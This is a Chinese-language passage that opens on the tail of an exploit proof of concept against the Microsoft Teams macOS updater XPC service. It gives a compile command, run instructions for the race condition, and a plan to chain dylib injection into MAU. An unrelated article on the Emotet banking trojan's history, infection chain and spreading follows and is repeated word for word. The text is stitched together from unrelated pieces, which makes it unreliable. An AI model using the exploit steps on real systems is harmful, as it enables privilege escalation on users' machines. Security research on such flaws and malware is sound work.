for (int i = 0; i < RACE_COUNT; i++)
{
pids[i] && kill(pids[i], 9);
}
}

可以用下面的命令编译PoC 代码:

gcc -framework Foundation msteamspid.m -o msteamspid

运行漏洞利用后,需要检查MAU 包是否安装过。因为漏洞利用使用了竞争条件,可能需要多次运行。根据机器的速度,RACE_COUNT 变量可能需要调整。

根据位于 /Library/Logs/Microsoft/Teams/updater.log的 XPC 服务日志,下面的记录会出现一次,否则漏洞利用将会失败。

2020-07-05 15:35:28[TeamsUpdaterDaemon]<727>-信息-连接验证

多次调用 installUpdateWithPackage:withPreferences:withReply: 可能会在clearPkgsInAppSupport: 调用过程中引发pkg 文件移除,安装将会失败。

成功利用了Microsoft Teams漏洞后,需要通过XPC 调用刚刚安装的MAU 应用。MAU 漏洞利用可以通过注入dylib 来完成。

Emotet Banking Malware Stats

Emotet在2014年出现时只是一款银行木马,经过近几年的发展,Emotet的功能不断扩展,已经进化成为完整的恶意软件分发服务。

Emotet发展史

Emotet 恶意软件第一个版本出现于2014年,通过拦截互联网流量来窃取银行凭证信息。当时,Emotet恶意软件的攻击目标是德国和奥地利的银行。

很快,第二个版本出现了,并增加了一些额外的模块,比如转账、垃圾邮件、DDoS和地址簿窃取模块。Emotet 第三版出现于2015年,主要升级了反绕过功能,并将瑞士的银行加入了潜在攻击目标列表。

Emotet Banking Malware Attacks on Map

2016年12月,Emotet第4个版本出现,修改了攻击向量。第4版最初主要依赖RIG 4.0漏洞利用套件来进入受害者计算机,随后转向垃圾邮件。之后,第4版从使用自己的银行模块转向在受感染的机器上释放其他的木马。

根据使用的模块不同,Emotet 恶意软件可以执行大量的恶意活动。病毒的大多数版本包括一个垃圾邮件模块,可以通过从受感染的机器来发送恶意邮件来传播恶意软件。另一个非常常见的模块是凭证窃取模块,允许Emotet 来从web浏览器和邮件客户端窃取敏感信息。

从2017年开始,Emotet木马中出现了传播器模块,可以用来感染通过本地网络互联的所有机器。此外,病毒还实现了地址簿窃取模块,分析了邮件发送者和接收者之间的关系,并用收集来的信息来增强随后从用户计算机发起的攻击活动的有效性,用个人定制化的垃圾邮件来攻击朋友、家庭成员和大学同学。

Emotet 恶意软件通过模块的使用和不同的反绕过函数提供了许多灵活的功能,还实现了驻留。为确保恶意软件在受感染的机器中,恶意软件会注入运行的进程中,一般是Explorer.exe。此外,恶意软件还用计划任务和修改注册表的方法。

Emotet 恶意软件分析

ANY.RUN 的一个视频展示了Emotet的执行过程,对该恶意软件的行为进行了详细分析。

emotet execution process tree

图 1: emotet执行的进程树

text report of the Emotet analysis

图 2: Emotet 分析的文本报告

Emotet 执行过程

Emotet 木马最初是通过恶意垃圾邮件传播的,攻击链的第一步就是使用社会工程技术诱使潜在受害者打开office 附件。文件打开并启用了宏后,用户无需进行其他操作。下载的文件包含有恶意的VBA 代码,代码会在文件被打开后运行。感染过程中的其他选项包括使用WMI 来启用下载payload的Powershell 脚本。Powershell 脚本是编码的,,Emotet 需要其他的步骤来在受感染的系统中实现驻留,复制自己到%AppData% 文件夹中,并修改注册表中的autorun值。经过所有的感染过程,恶意软件会与服务器发送信息和接收信息。在执行的最后一步,Emotet 会等待来自C2 服务器的命令。

Emotet传播方式

Emotet恶意软件最主要的传播方式是恶意垃圾邮件活动。该木马使用地址簿窃取模块来获取受害者邮件账户的所有垃圾邮件,并发送给被劫持账户的所有联系人。

由于收到邮件的人一般都是发送者认识的人,因此Emotet攻击的成功率很高。受害者接收到的邮件中一般都含有一个恶意URL,点击后会下载恶意软件。垃圾邮件并不是Emotet使用的唯一传播方式,还会使用特定的Windows漏洞在用户完全不知情的情况下入侵用户机器。

总结

Emotet 恶意软件是目前活跃的最复杂、最具破坏性的木马。自2014年出现开始,就不断进化,引入了反绕过特征,获取了蠕虫功能,甚至从最初的信息窃取转向在被感染的机器上安装其他木马。Emotet 可以在临近系统中传播,可以很容易地感染同一网络中的其他机器,使得该攻击成为受害者的噩梦。随着恶意软件中加入了一系列的反分析技术使得这一情况变得更加复杂。

Emotet Banking Malware Stats

Emotet在2014年出现时只是一款银行木马,经过近几年的发展,Emotet的功能不断扩展,已经进化成为完整的恶意软件分发服务。

Emotet发展史

Emotet 恶意软件第一个版本出现于2014年,通过拦截互联网流量来窃取银行凭证信息。当时,Emotet恶意软件的攻击目标是德国和奥地利的银行。

很快,第二个版本出现了,并增加了一些额外的模块,比如转账、垃圾邮件、DDoS和地址簿窃取模块。Emotet 第三版出现于2015年,主要升级了反绕过功能,并将瑞士的银行加入了潜在攻击目标列表。

Emotet Banking Malware Attacks on Map

2016年12月,Emotet第4个版本出现,修改了攻击向量。第4版最初主要依赖RIG 4.0漏洞利用套件来进入受害者计算机,随后转向垃圾邮件。之后,第4版从使用自己的银行模块转向在受感染的机器上释放其他的木马。

根据使用的模块不同,Emotet 恶意软件可以执行大量的恶意活动。病毒的大多数版本包括一个垃圾邮件模块,可以通过从受感染的机器来发送恶意邮件来传播恶意软件。另一个非常常见的模块是凭证窃取模块,允许Emotet 来从web浏览器和邮件客户端窃取敏感信息。

从2017年开始,Emotet木马中出现了传播器模块,可以用来感染通过本地网络互联的所有机器。此外,病毒还实现了地址簿窃取模块,分析了邮件发送者和接收者之间的关系,并用收集来的信息来增强随后从用户计算机发起的攻击活动的有效性,用个人定制化的垃圾邮件来攻击朋友、家庭成员和大学同学。

Emotet 恶意软件通过模块的使用和不同的反绕过函数提供了许多灵活的功能,还实现了驻留。为确保恶意软件在受感染的机器中,恶意软件会注入运行的进程中,一般是Explorer.exe。此外,恶意软件还用计划任务和修改注册表的方法。

Emotet 恶意软件分析

ANY.RUN 的一个视频展示了Emotet的执行过程,对该恶意软件的行为进行了详细分析。

emotet execution process tree

图 1: emotet执行的进程树

text report of the Emotet analysis

图 2: Emotet 分析的文本报告

Emotet 执行过程

Emotet 木马最初是通过恶意垃圾邮件传播的,攻击链的第一步就是使用社会工程技术诱使潜在受害者打开office 附件。文件打开并启用了宏后,用户无需进行其他操作。下载的文件包含有恶意的VBA 代码,代码会在文件被打开后运行。感染过程中的其他选项包括使用WMI 来启用下载payload的Powershell 脚本。Powershell 脚本是编码的,,Emotet 需要其他的步骤来在受感染的系统中实现驻留,复制自己到%AppData% 文件夹中,并修改注册表中的autorun值。经过所有的感染过程,恶意软件会与服务器发送信息和接收信息。在执行的最后一步,Emotet 会等待来自C2 服务器的命令。

Emotet传播方式

Emotet恶意软件最主要的传播方式是恶意垃圾邮件活动。该木马使用地址簿窃取模块来获取受害者邮件账户的所有垃圾邮件,并发送给被劫持账户的所有联系人。

由于收到邮件的人一般都是发送者认识的人,因此Emotet攻击的成功率很高。受害者接收到的邮件中一般都含有一个恶意URL,点击后会下载恶意软件。垃圾邮件并不是Emotet使用的唯一传播方式,还会使用特定的Windows漏洞在用户完全不知情的情况下入侵用户机器。

总结

Emotet 恶意软件是目前活跃的最复杂、最具破坏性的木马。自2014年出现开始,就不断进化,引入了反绕过特征,获取了蠕虫功能,甚至从最初的信息窃取转向在被感染的机器上安装其他木马。Emotet 可以在临近系统中传播,可以很容易地感染同一网络中的其他机器,使得该攻击成为受害者的噩梦。随着恶意软件中加入了一系列的反分析技术使得这一情况变得更加复杂。